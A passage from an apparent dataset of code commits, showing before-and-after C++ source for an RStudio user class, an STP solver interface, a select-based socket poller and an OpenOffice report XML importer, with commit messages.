Shell;\n};\n\nPRIVATE_IMPL_DELETER_IMPL(User)\n\nUser::User(bool in_isEmpty) :\n m_impl(new Impl())\n{\n m_impl->Name = in_isEmpty ? \"\" : \"*\";\n}\n\nUser::User(const User& in_other) :\n m_impl(new Impl(*in_other.m_impl))\n{\n}\n\nError User::getCurrentUser(User& out_currentUser)\n{\n return getUserFromIdentifier(::geteuid(), out_currentUser);\n}\n\nError User::getUserFromIdentifier(const std::string& in_username, User& out_user)\n{\n User user;\n\n Error error = user.m_impl->populateUser<const char*>(::getpwnam_r, in_username.c_str());\n if (!error)\n out_user = user;\n\n return error;\n}\n\nError User::getUserFromIdentifier(UidType in_userId, User& out_user)\n{\n User user;\n Error error = user.m_impl->populateUser<UidType>(::getpwuid_r, in_userId);\n if (!error)\n out_user = user;\n\n return error;\n}\n\nFilePath User::getUserHomePath(const std::string& in_envOverride)\n{\n \/\/ use environment override if specified\n if (!in_envOverride.empty())\n {\n using namespace boost::algorithm;\n for (split_iterator<std::string::const_iterator> it =\n make_split_iterator(in_envOverride, first_finder(\"|\", is_iequal()));\n it != split_iterator<std::string::const_iterator>();\n ++it)\n {\n std::string envHomePath = getEnvVariable(boost::copy_range<std::string>(*it));\n if (!envHomePath.empty())\n {\n FilePath userHomePath(envHomePath);\n if (userHomePath.exists())\n return userHomePath;\n }\n }\n }\n\n \/\/ otherwise use standard unix HOME\n return FilePath(getEnvVariable(\"HOME\"));\n}\n\nUser& User::operator=(const User& in_other)\n{\n if (this == &in_other)\n return *this;\n\n if ((m_impl == nullptr) && (in_other.m_impl == nullptr))\n return *this;\n\n if (in_other.m_impl == nullptr)\n {\n m_impl.reset();\n return *this;\n }\n\n if (m_impl == nullptr)\n m_impl.reset(new Impl());\n\n *m_impl = *in_other.m_impl;\n\n return *this;\n}\n\nbool User::operator==(const User& in_other) const\n{\n \/\/ If one or the other is empty but not both, these objects aren't equal.\n if (isEmpty() != in_other.isEmpty())\n return false;\n\n \/\/ Otherwise they're both empty or they're both not, so just return true if this user is empty.\n if (isEmpty())\n return true;\n\n \/\/ If one or the other is all users but not both, these aren't the same user.\n if (isAllUsers() != in_other.isAllUsers())\n return false;\n\n \/\/ Otherwise they're both all users or they're both not, so just return true if this user is all users.\n if (isAllUsers())\n return true;\n\n return getUserId() == in_other.getUserId();\n}\n\nbool User::operator!=(const User &in_other) const\n{\n return !(*this == in_other);\n}\n\nbool User::exists() const\n{\n return !isEmpty() && !isAllUsers();\n}\n\nbool User::isAllUsers() const\n{\n return m_impl->Name == \"*\";\n}\n\nbool User::isEmpty() const\n{\n return m_impl->Name.empty();\n}\n\nconst FilePath& User::getHomePath() const\n{\n return m_impl->HomeDirectory;\n}\n\nGidType User::getGroupId() const\n{\n return m_impl->GroupId;\n}\n\nUidType User::getUserId() const\n{\n return m_impl->UserId;\n}\n\nconst std::string& User::getUsername() const\n{\n return m_impl->Name;\n}\n\nconst std::string& User::getShell() const\n{\n return m_impl->Shell;\n}\n\n} \/\/ namespace system\n} \/\/ namespace core\n} \/\/ namespace rstudio\n\n<|endoftext|>"} {"text":"<commit_before>#include \"cpp_interface.h\"\n\nnamespace BEEV\n{\n \/\/ Does some simple caching of prior results.\n void\n Cpp_interface::checkSat(const ASTVec & assertionsSMT2)\n {\n bm.GetRunTimes()->stop(RunTimes::Parsing);\n\n checkInvariant();\n assert(assertionsSMT2.size() == cache.size());\n\n Entry& last_run = cache.back();\n if ((last_run.node_number != assertionsSMT2.back().GetNodeNum()) && (last_run.result == SOLVER_SATISFIABLE))\n {\n \/\/ extra asserts might have been added to it,\n \/\/ flipping from sat to unsat. But never from unsat to sat.\n last_run.result = SOLVER_UNDECIDED;\n }\n\n \/\/ We might have run this query before, or it might already be shown to be unsat. If it was sat,\n \/\/ we've stored the result (but not the model), so we can shortcut and return what we know.\n if (!((last_run.result == SOLVER_SATISFIABLE) || last_run.result == SOLVER_UNSATISFIABLE))\n {\n resetSolver();\n\n ASTNode query;\n\n if (assertionsSMT2.size() > 1)\n query = parserInterface->CreateNode(AND, assertionsSMT2);\n else if (assertionsSMT2.size() == 1)\n query = assertionsSMT2[0];\n else\n query = bm.ASTTrue;\n\n SOLVER_RETURN_TYPE last_result = GlobalSTP->TopLevelSTP(query, bm.ASTFalse);\n\n \/\/ Store away the answer. Might be timeout, or error though..\n last_run = Entry(last_result);\n last_run.node_number = assertionsSMT2.back().GetNodeNum();\n\n \/\/ It's satisfiable, so everything beneath it is satisfiable too.\n if (last_result == SOLVER_SATISFIABLE)\n {\n for (int i = 0; i < cache.size(); i++)\n {\n assert(cache[i].result != SOLVER_UNSATISFIABLE);\n cache[i].result = SOLVER_SATISFIABLE;\n }\n }\n }\n\n if (bm.UserFlags.quick_statistics_flag)\n {\n bm.GetRunTimes()->print();\n }\n\n (GlobalSTP->tosat)->PrintOutput(last_run.result);\n bm.GetRunTimes()->start(RunTimes::Parsing);\n }\n}\n;\n<commit_msg>Fix. Don't use the global nodefactory when we have a local one.<commit_after>#include \"cpp_interface.h\"\n\nnamespace BEEV\n{\n \/\/ Does some simple caching of prior results.\n void\n Cpp_interface::checkSat(const ASTVec & assertionsSMT2)\n {\n bm.GetRunTimes()->stop(RunTimes::Parsing);\n\n checkInvariant();\n assert(assertionsSMT2.size() == cache.size());\n\n Entry& last_run = cache.back();\n if ((last_run.node_number != assertionsSMT2.back().GetNodeNum()) && (last_run.result == SOLVER_SATISFIABLE))\n {\n \/\/ extra asserts might have been added to it,\n \/\/ flipping from sat to unsat. But never from unsat to sat.\n last_run.result = SOLVER_UNDECIDED;\n }\n\n \/\/ We might have run this query before, or it might already be shown to be unsat. If it was sat,\n \/\/ we've stored the result (but not the model), so we can shortcut and return what we know.\n if (!((last_run.result == SOLVER_SATISFIABLE) || last_run.result == SOLVER_UNSATISFIABLE))\n {\n resetSolver();\n\n ASTNode query;\n\n if (assertionsSMT2.size() > 1)\n query = nf->CreateNode(AND, assertionsSMT2);\n else if (assertionsSMT2.size() == 1)\n query = assertionsSMT2[0];\n else\n query = bm.ASTTrue;\n\n SOLVER_RETURN_TYPE last_result = GlobalSTP->TopLevelSTP(query, bm.ASTFalse);\n\n \/\/ Store away the answer. Might be timeout, or error though..\n last_run = Entry(last_result);\n last_run.node_number = assertionsSMT2.back().GetNodeNum();\n\n \/\/ It's satisfiable, so everything beneath it is satisfiable too.\n if (last_result == SOLVER_SATISFIABLE)\n {\n for (int i = 0; i < cache.size(); i++)\n {\n assert(cache[i].result != SOLVER_UNSATISFIABLE);\n cache[i].result = SOLVER_SATISFIABLE;\n }\n }\n }\n\n if (bm.UserFlags.quick_statistics_flag)\n {\n bm.GetRunTimes()->print();\n }\n\n (GlobalSTP->tosat)->PrintOutput(last_run.result);\n bm.GetRunTimes()->start(RunTimes::Parsing);\n }\n}\n;\n<|endoftext|>"} {"text":"<commit_before>\/\/! Copyright (c) 2013 ASMlover. All rights reserved.\n\/\/!\n\/\/! Redistribution and use in source and binary forms, with or without\n\/\/! modification, are permitted provided that the following conditions\n\/\/! are met:\n\/\/!\n\/\/! * Redistributions of source code must retain the above copyright\n\/\/! notice, this list ofconditions and the following disclaimer.\n\/\/!\n\/\/! * Redistributions in binary form must reproduce the above copyright\n\/\/! notice, this list of conditions and the following disclaimer in\n\/\/! the documentation and\/or other materialsprovided with the\n\/\/! distribution.\n\/\/!\n\/\/! THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n\/\/! \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n\/\/! LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n\/\/! FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n\/\/! COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n\/\/! INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n\/\/! BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n\/\/! LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n\/\/! CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n\/\/! LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n\/\/! ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n\/\/! POSSIBILITY OF SUCH DAMAGE.\n#if defined(_WINDOWS_) || defined(_MSC_VER)\n# ifndef _WINDOWS_\n# include <winsock2.h>\n# endif\n# define EWOULDBLOCK WSAEWOULDBLOCK\n# define NErrno() WSAGetLastError()\n#endif\n#include \"net.h\"\n#include \"socket.h\"\n#include \"select_poll.h\"\n\n\n\nSelectPoll::SelectPoll(void)\n : rbytes_(kDefaultBufferLen)\n , wbytes_(kDefaultBufferLen)\n , handler_(NULL)\n , spinlock_()\n{\n connectors_.clear();\n FD_ZERO(&rset_);\n FD_ZERO(&wset_);\n}\n\nSelectPoll::~SelectPoll(void)\n{\n CloseAll();\n}\n\nvoid \nSelectPoll::CloseAll(void)\n{\n if (NULL == handler_)\n return;\n\n LockerGuard<SpinLock> gaurd(spinlock_);\n std::map<int, std::pair<int, Socket*> >::iterator it;\n for (it = connectors_.begin(); it != connectors_.end(); ++it) {\n if (NULL != it->second.second) {\n handler_->CloseEvent(it->second.second);\n it->second.second->Close();\n delete it->second.second;\n }\n }\n connectors_.clear();\n}\n\nbool \nSelectPoll::Insert(int fd, int ev)\n{\n if (NULL == handler_)\n return false;\n\n LockerGuard<SpinLock> guard(spinlock_);\n std::map<int, std::pair<int, Socket*> >::iterator it;\n it = connectors_.find(fd);\n if (it == connectors_.end()) {\n Socket* s = new Socket();\n if (NULL == s)\n return false;\n\n s->Attach(fd);\n s->SetNonBlock();\n s->SetKeepAlive();\n s->SetSelfReadBuffer(rbytes_);\n s->SetSelfWriteBuffer(wbytes_);\n\n connectors_[fd] = std::make_pair<int, Socket*>(ev, s);\n }\n\n return true;\n}\n\nvoid \nSelectPoll::Remove(int fd)\n{\n if (NULL == handler_)\n return;\n\n std::map<int, std::pair<int, Socket*> >::iterator it;\n it = connectors_.find(fd);\n if (it != connectors_.end()) {\n if (NULL != it->second.second) {\n handler_->CloseEvent(it->second.second);\n it->second.second->Close();\n delete it->second.second;\n }\n\n connectors_.erase(it);\n }\n}\n\nbool \nSelectPoll::AddEvent(int fd, int ev)\n{\n if (NULL == handler_)\n return false;\n\n LockerGuard<SpinLock> guard(spinlock_);\n std::map<int, std::pair<int, Socket*> >::iterator it;\n it = connectors_.find(fd);\n if (it != connectors_.end()) \n it->second.first |= ev;\n\n return true;\n}\n\nbool \nSelectPoll::DelEvent(int fd, int ev)\n{\n if (NULL == handler_)\n return false;\n\n LockerGuard<SpinLock> gaurd(spinlock_);\n std::map<int, std::pair<int, Socket*> >::iterator it;\n it = connectors_.find(fd);\n if (it != connectors_.end()) \n it->second.first &= ~ev;\n\n return true;\n}\n\nSocket* \nSelectPoll::GetConnector(int fd)\n{\n Socket* s = NULL;\n\n {\n LockerGuard<SpinLock> gaurd(spinlock_);\n std::map<int, std::pair<int, Socket*> >::iterator it;\n it = connectors_.find(fd);\n if (it != connectors_.end())\n s = it->second.second;\n }\n\n return s;\n}\n\nbool \nSelectPoll::Polling(int ev, int millitm)\n{\n if (NULL == handler_)\n return false;\n\n struct timeval timeout;\n if (-1 == millitm) {\n timeout.tv_sec = 0;\n timeout.tv_usec = 500;\n }\n else {\n timeout.tv_sec = millitm \/ 1000;\n timeout.tv_usec = (millitm % 1000 * 1000);\n }\n\n int max_fd = 0;\n int ret = 0;\n if (kEventTypeRead == ev) {\n InitSet(ev, &rset_, &max_fd);\n ret = select(max_fd + 1, &rset_, NULL, NULL, &timeout);\n }\n else if (kEventTypeWrite == ev) {\n InitSet(ev, &wset_, &max_fd);\n ret = select(max_fd + 1, NULL, &wset_, NULL, &timeout);\n }\n else {\n return false;\n }\n\n if (kNetTypeError == ret || 0 == ret)\n return false;\n\n if (!DispatchEvent(ev))\n return false;\n\n return true;\n}\n\nbool \nSelectPoll::InitSet(int ev, fd_set* set, int* max_fd)\n{\n if (NULL == set || NULL == max_fd)\n return false;\n\n FD_ZERO(set);\n *max_fd = 0;\n\n LockerGuard<SpinLock> gaurd(spinlock_);\n std::map<int, std::pair<int, Socket*> >::iterator it;\n for (it = connectors_.begin(); it != connectors_.end();) {\n if (NULL == it->second.second) {\n connectors_.erase(it++);\n }\n else if (kNetTypeInval == it->second.second->fd()) {\n delete it->second.second;\n connectors_.erase(it++);\n }\n else {\n if (it->second.first & ev)\n FD_SET(it->first, set);\n\n if (it->first > *max_fd)\n *max_fd = it->first;\n\n ++it;\n }\n }\n\n return true;\n}\n\nbool \nSelectPoll::DispatchEvent(int ev)\n{\n if (NULL == handler_)\n return false;\n\n int fd;\n Socket* s;\n\n LockerGuard<SpinLock> guard(spinlock_);\n std::map<int, std::pair<int, Socket*> >::iterator it;\n for (it = connectors_.begin(); it != connectors_.end(); ++it) {\n fd = it->first;\n s = it->second.second;\n\n if (NULL == s)\n continue;\n\n if (kEventTypeRead == ev) {\n if (FD_ISSET(fd, &rset_)) {\n int read_bytes = s->DealWithAsyncRead();\n if (read_bytes > 0) {\n if (s->CheckValidMessageInReadBuffer())\n handler_->ReadEvent(s);\n }\n else if (0 == read_bytes) {\n handler_->CloseEvent(s);\n s->Close();\n }\n else {\n if (EWOULDBLOCK != NErrno()) {\n handler_->CloseEvent(s);\n s->Close();\n }\n }\n }\n }\n else if (kEventTypeWrite == ev) {\n if (FD_ISSET(fd, &wset_)) {\n int write_bytes = s->DealWithAsyncWrite();\n if (write_bytes > 0)\n handler_->WriteEvent(s);\n }\n }\n }\n\n return true;\n}\n<commit_msg>improved select poll module<commit_after>\/\/! Copyright (c) 2013 ASMlover. All rights reserved.\n\/\/!\n\/\/! Redistribution and use in source and binary forms, with or without\n\/\/! modification, are permitted provided that the following conditions\n\/\/! are met:\n\/\/!\n\/\/! * Redistributions of source code must retain the above copyright\n\/\/! notice, this list ofconditions and the following disclaimer.\n\/\/!\n\/\/! * Redistributions in binary form must reproduce the above copyright\n\/\/! notice, this list of conditions and the following disclaimer in\n\/\/! the documentation and\/or other materialsprovided with the\n\/\/! distribution.\n\/\/!\n\/\/! THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n\/\/! \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n\/\/! LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n\/\/! FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n\/\/! COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n\/\/! INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n\/\/! BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n\/\/! LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n\/\/! CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n\/\/! LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n\/\/! ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n\/\/! POSSIBILITY OF SUCH DAMAGE.\n#if defined(_WINDOWS_) || defined(_MSC_VER)\n# ifndef _WINDOWS_\n# include <winsock2.h>\n# endif\n# define EWOULDBLOCK WSAEWOULDBLOCK\n# define NErrno() WSAGetLastError()\n#endif\n#include \"net.h\"\n#include \"socket.h\"\n#include \"select_poll.h\"\n\n\n\nSelectPoll::SelectPoll(void)\n : rbytes_(kDefaultBufferLen)\n , wbytes_(kDefaultBufferLen)\n , handler_(NULL)\n , spinlock_()\n{\n connectors_.clear();\n FD_ZERO(&rset_);\n FD_ZERO(&wset_);\n}\n\nSelectPoll::~SelectPoll(void)\n{\n CloseAll();\n}\n\nvoid \nSelectPoll::CloseAll(void)\n{\n if (NULL == handler_)\n return;\n\n LockerGuard<SpinLock> gaurd(spinlock_);\n std::map<int, std::pair<int, Socket*> >::iterator it;\n for (it = connectors_.begin(); it != connectors_.end(); ++it) {\n if (NULL != it->second.second) {\n handler_->CloseEvent(it->second.second);\n it->second.second->Close();\n delete it->second.second;\n }\n }\n connectors_.clear();\n}\n\nbool \nSelectPoll::Insert(int fd, int ev)\n{\n if (NULL == handler_)\n return false;\n\n LockerGuard<SpinLock> guard(spinlock_);\n std::map<int, std::pair<int, Socket*> >::iterator it;\n it = connectors_.find(fd);\n if (it == connectors_.end()) {\n Socket* s = new Socket();\n if (NULL == s)\n return false;\n\n s->Attach(fd);\n s->SetNonBlock();\n s->SetKeepAlive();\n s->SetSelfReadBuffer(rbytes_);\n s->SetSelfWriteBuffer(wbytes_);\n\n connectors_[fd] = std::make_pair<int, Socket*>(ev, s);\n }\n\n return true;\n}\n\nvoid \nSelectPoll::Remove(int fd)\n{\n if (NULL == handler_)\n return;\n\n std::map<int, std::pair<int, Socket*> >::iterator it;\n it = connectors_.find(fd);\n if (it != connectors_.end()) {\n if (NULL != it->second.second) {\n handler_->CloseEvent(it->second.second);\n it->second.second->Close();\n delete it->second.second;\n }\n\n connectors_.erase(it);\n }\n}\n\nbool \nSelectPoll::AddEvent(int fd, int ev)\n{\n if (NULL == handler_)\n return false;\n\n LockerGuard<SpinLock> guard(spinlock_);\n std::map<int, std::pair<int, Socket*> >::iterator it;\n it = connectors_.find(fd);\n if (it != connectors_.end()) \n it->second.first |= ev;\n\n return true;\n}\n\nbool \nSelectPoll::DelEvent(int fd, int ev)\n{\n if (NULL == handler_)\n return false;\n\n LockerGuard<SpinLock> gaurd(spinlock_);\n std::map<int, std::pair<int, Socket*> >::iterator it;\n it = connectors_.find(fd);\n if (it != connectors_.end()) \n it->second.first &= ~ev;\n\n return true;\n}\n\nSocket* \nSelectPoll::GetConnector(int fd)\n{\n Socket* s = NULL;\n\n {\n LockerGuard<SpinLock> gaurd(spinlock_);\n std::map<int, std::pair<int, Socket*> >::iterator it;\n it = connectors_.find(fd);\n if (it != connectors_.end())\n s = it->second.second;\n }\n\n return s;\n}\n\nbool \nSelectPoll::Polling(int ev, int millitm)\n{\n if (NULL == handler_)\n return false;\n\n struct timeval timeout;\n if (-1 == millitm) {\n timeout.tv_sec = 0;\n timeout.tv_usec = 500;\n }\n else {\n timeout.tv_sec = millitm \/ 1000;\n timeout.tv_usec = (millitm % 1000 * 1000);\n }\n\n int max_fd = 0;\n int ret = 0;\n if (kEventTypeRead == ev) {\n InitSet(ev, &rset_, &max_fd);\n ret = select(max_fd + 1, &rset_, NULL, NULL, &timeout);\n }\n else if (kEventTypeWrite == ev) {\n InitSet(ev, &wset_, &max_fd);\n ret = select(max_fd + 1, NULL, &wset_, NULL, &timeout);\n }\n else {\n return false;\n }\n\n if (kNetTypeError == ret || 0 == ret)\n return false;\n\n if (!DispatchEvent(ev))\n return false;\n\n return true;\n}\n\nbool \nSelectPoll::InitSet(int ev, fd_set* set, int* max_fd)\n{\n if (NULL == set || NULL == max_fd)\n return false;\n\n FD_ZERO(set);\n *max_fd = 0;\n\n LockerGuard<SpinLock> gaurd(spinlock_);\n std::map<int, std::pair<int, Socket*> >::iterator it;\n for (it = connectors_.begin(); it != connectors_.end();) {\n if (NULL == it->second.second) {\n connectors_.erase(it++);\n }\n else if (kNetTypeInval == it->second.second->fd()) {\n delete it->second.second;\n connectors_.erase(it++);\n }\n else {\n if (it->second.first & ev)\n FD_SET(it->first, set);\n\n if (it->first > *max_fd)\n *max_fd = it->first;\n\n ++it;\n }\n }\n\n return true;\n}\n\nbool \nSelectPoll::DispatchEvent(int ev)\n{\n if (NULL == handler_)\n return false;\n\n int fd;\n Socket* s;\n\n LockerGuard<SpinLock> guard(spinlock_);\n std::map<int, std::pair<int, Socket*> >::iterator it;\n for (it = connectors_.begin(); it != connectors_.end(); ++it) {\n fd = it->first;\n s = it->second.second;\n\n if (NULL == s)\n continue;\n\n if (kEventTypeRead == ev) {\n if (FD_ISSET(fd, &rset_)) {\n int read_bytes = s->DealWithAsyncRead();\n if (read_bytes > 0) {\n if (s->CheckValidMessageInReadBuffer())\n handler_->ReadEvent(s);\n }\n else if (0 == read_bytes) {\n handler_->CloseEvent(s);\n s->Close();\n }\n else {\n if (EWOULDBLOCK != NErrno()) {\n handler_->CloseEvent(s);\n s->Close();\n }\n }\n }\n }\n else if (kEventTypeWrite == ev) {\n if (FD_ISSET(fd, &wset_)) {\n int write_bytes = s->DealWithAsyncWrite();\n if (write_bytes > 0) {\n handler_->WriteEvent(s);\n }\n else if (write_bytes < 0) {\n if (EWOULDBLOCK != NErrno()) {\n handler_->CloseEvent(s);\n s->Close();\n }\n }\n }\n }\n }\n\n return true;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: xmlTable.cxx,v $\n *\n * $Revision: 1.5 $\n *\n * last change: $Author: ihi $ $Date: 2007-11-20 19:04:17 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n#include \"precompiled_reportdesign.hxx\"\n\n#ifndef RPT_XMLTABLE_HXX\n#include \"xmlTable.hxx\"\n#endif\n#ifndef RPT_XMLFILTER_HXX\n#include \"xmlfilter.hxx\"\n#endif\n#ifndef _XMLOFF_XMLTOKEN_HXX\n#include <xmloff\/xmltoken.hxx>\n#endif\n#ifndef _XMLOFF_XMLNMSPE_HXX\n#include <xmloff\/xmlnmspe.hxx>\n#endif\n#ifndef _XMLOFF_NMSPMAP_HXX\n#include <xmloff\/nmspmap.hxx>\n#endif\n#ifndef _XMLOFF_XMLUCONV_HXX\n#include <xmloff\/xmluconv.hxx>\n#endif\n#ifndef _REPORT_RPTUIDEF_HXX\n#include \"RptDef.hxx\"\n#endif\n#ifndef RPT_XMLHELPER_HXX\n#include \"xmlHelper.hxx\"\n#endif\n#ifndef RPT_XMLENUMS_HXX\n#include \"xmlEnums.hxx\"\n#endif\n#ifndef RPT_XMLCOLUMN_HXX\n#include \"xmlColumn.hxx\"\n#endif\n#ifndef _COM_SUN_STAR_REPORT_FORCENEWPAGE_HPP_\n#include <com\/sun\/star\/report\/ForceNewPage.hpp>\n#endif\n#ifndef RPT_XMLCONDPRTEXPR_HXX\n#include \"xmlCondPrtExpr.hxx\"\n#endif\n#ifndef RPT_XMLSTYLEIMPORT_HXX\n#include \"xmlStyleImport.hxx\"\n#endif\n#include \"xmlstrings.hrc\"\n#ifndef _CONNECTIVITY_DBTOOLS_HXX_\n#include <connectivity\/dbtools.hxx>\n#endif\n#ifndef _TOOLS_DEBUG_HXX\n#include <tools\/debug.hxx>\n#endif\n#ifndef REPORTDESIGN_SHARED_XMLSTRINGS_HRC\n#include \"xmlstrings.hrc\"\n#endif\n#include <com\/sun\/star\/report\/XShape.hpp>\n#include <com\/sun\/star\/report\/XFixedLine.hpp>\n\n#define MIN_WIDTH 80\n#define MIN_HEIGHT 20\n\nnamespace rptxml\n{\n using namespace ::xmloff;\n using namespace ::com::sun::star;\n using ::com::sun::star::uno::Reference;\n using namespace ::com::sun::star::xml::sax;\n using ::com::sun::star::xml::sax::XAttributeList;\n\n sal_uInt16 lcl_getForceNewPageOption(const ::rtl::OUString& _sValue)\n {\n sal_uInt16 nRet = report::ForceNewPage::NONE;\n const SvXMLEnumMapEntry* aXML_EnumMap = OXMLHelper::GetForceNewPageOptions();\n SvXMLUnitConverter::convertEnum( nRet,_sValue,aXML_EnumMap );\n return nRet;\n }\nDBG_NAME( rpt_OXMLTable )\n\nOXMLTable::OXMLTable( ORptFilter& rImport\n ,sal_uInt16 nPrfx\n ,const ::rtl::OUString& _sLocalName\n ,const Reference< XAttributeList > & _xAttrList\n ,const uno::Reference< report::XSection >& _xSection\n )\n:SvXMLImportContext( rImport, nPrfx, _sLocalName )\n,m_xSection(_xSection)\n,m_nColSpan(1)\n,m_nRowSpan(0)\n,m_nRowIndex(0)\n,m_nColumnIndex(0)\n{\n DBG_CTOR( rpt_OXMLTable,NULL);\n OSL_ENSURE(_xAttrList.is(),\"Attribute list is NULL!\");\n const SvXMLNamespaceMap& rMap = rImport.GetNamespaceMap();\n const SvXMLTokenMap& rTokenMap = rImport.GetSectionElemTokenMap();\n\n const sal_Int16 nLength = (m_xSection.is() && _xAttrList.is()) ? _xAttrList->getLength() : 0;\n static const ::rtl::OUString s_sTRUE = ::xmloff::token::GetXMLToken(XML_TRUE);\n try\n {\n for(sal_Int16 i = 0; i < nLength; ++i)\n {\n rtl::OUString sLocalName;\n const rtl::OUString sAttrName = _xAttrList->getNameByIndex( i );\n const sal_uInt16 nPrefix = rMap.GetKeyByAttrName( sAttrName,&sLocalName );\n const rtl::OUString sValue = _xAttrList->getValueByIndex( i );\n\n switch( rTokenMap.Get( nPrefix, sLocalName ) )\n {\n case XML_TOK_VISIBLE:\n m_xSection->setVisible(sValue == s_sTRUE);\n break;\n case XML_TOK_FORCE_NEW_PAGE:\n m_xSection->setForceNewPage(lcl_getForceNewPageOption(sValue));\n break;\n case XML_TOK_FORCE_NEW_COLUMN:\n m_xSection->setNewRowOrCol(lcl_getForceNewPageOption(sValue));\n break;\n case XML_TOK_KEEP_TOGETHER:\n m_xSection->setKeepTogether(sValue == s_sTRUE);\n break;\n case XML_TOK_SECTION_NAME:\n m_xSection->setName(sValue);\n break;\n case XML_TOK_SECT_STYLE_NAME:\n m_sStyleName = sValue;\n break;\n default:\n break;\n }\n }\n }\n catch(Exception&)\n {\n OSL_ENSURE(0,\"Exception catched while filling the section props\");\n }\n}\n\/\/ -----------------------------------------------------------------------------\nOXMLTable::~OXMLTable()\n{\n DBG_DTOR( rpt_OXMLTable,NULL);\n}\n\/\/ -----------------------------------------------------------------------------\n\nSvXMLImportContext* OXMLTable::CreateChildContext(\n sal_uInt16 _nPrefix,\n const ::rtl::OUString& _rLocalName,\n const Reference< XAttributeList > & xAttrList )\n{\n SvXMLImportContext *pContext = 0;\n ORptFilter& rImport = GetOwnImport();\n const SvXMLTokenMap& rTokenMap = rImport.GetColumnTokenMap();\n Reference<XMultiServiceFactory> xFactor = rImport.getServiceFactory();\n\n switch( rTokenMap.Get( _nPrefix, _rLocalName ) )\n {\n case XML_TOK_TABLE_COLUMNS:\n case XML_TOK_TABLE_ROWS:\n pContext = new OXMLRowColumn( rImport, _nPrefix, _rLocalName,xAttrList ,this);\n break;\n case XML_TOK_ROW:\n incrementRowIndex();\n rImport.GetProgressBarHelper()->Increment( PROGRESS_BAR_STEP );\n pContext = new OXMLRowColumn( rImport, _nPrefix, _rLocalName,xAttrList,this);\n break;\n case XML_TOK_COLUMN:\n rImport.GetProgressBarHelper()->Increment( PROGRESS_BAR_STEP );\n pContext = new OXMLRowColumn( rImport, _nPrefix, _rLocalName,xAttrList,this);\n break;\n case XML_TOK_CONDITIONAL_PRINT_EXPRESSION:\n pContext = new OXMLCondPrtExpr( rImport, _nPrefix, _rLocalName,xAttrList,m_xSection.get());\n break;\n default:\n break;\n }\n\n if( !pContext )\n pContext = new SvXMLImportContext( rImport, _nPrefix, _rLocalName );\n\n return pContext;\n}\n\/\/ -----------------------------------------------------------------------------\nORptFilter& OXMLTable::GetOwnImport()\n{\n return static_cast<ORptFilter&>(GetImport());\n}\n\/\/ -----------------------------------------------------------------------------\nvoid OXMLTable::EndElement()\n{\n try\n {\n if ( m_xSection.is() )\n {\n if ( m_sStyleName.getLength() )\n {\n const SvXMLStylesContext* pAutoStyles = GetImport().GetAutoStyles();\n if ( pAutoStyles )\n {\n XMLPropStyleContext* pAutoStyle = PTR_CAST(XMLPropStyleContext,pAutoStyles->FindStyleChildContext(XML_STYLE_FAMILY_TABLE_TABLE,m_sStyleName));\n if ( pAutoStyle )\n {\n pAutoStyle->FillPropertySet(m_xSection.get());\n }\n }\n } \/\/ if ( m_sStyleName.getLength() )\n \/\/ set height\n ::std::vector<sal_Int32>::iterator aIter = m_aHeight.begin();\n ::std::vector<sal_Int32>::iterator aEnd = m_aHeight.end();\n sal_Int32 nHeight = 0;\n for (; aIter != aEnd; ++aIter)\n nHeight += *aIter;\n m_xSection->setHeight( nHeight );\n \/\/ set positions, widths, and heights\n sal_Int32 nLeftMargin = rptui::getStyleProperty<sal_Int32>(m_xSection->getReportDefinition(),PROPERTY_LEFTMARGIN);\n sal_Int32 nPosY = 0;\n ::std::vector< ::std::vector<TCell> >::iterator aRowIter = m_aGrid.begin();\n ::std::vector< ::std::vector<TCell> >::iterator aRowEnd = m_aGrid.end();\n for (sal_Int32 i = 0; aRowIter != aRowEnd; ++aRowIter,++i)\n {\n sal_Int32 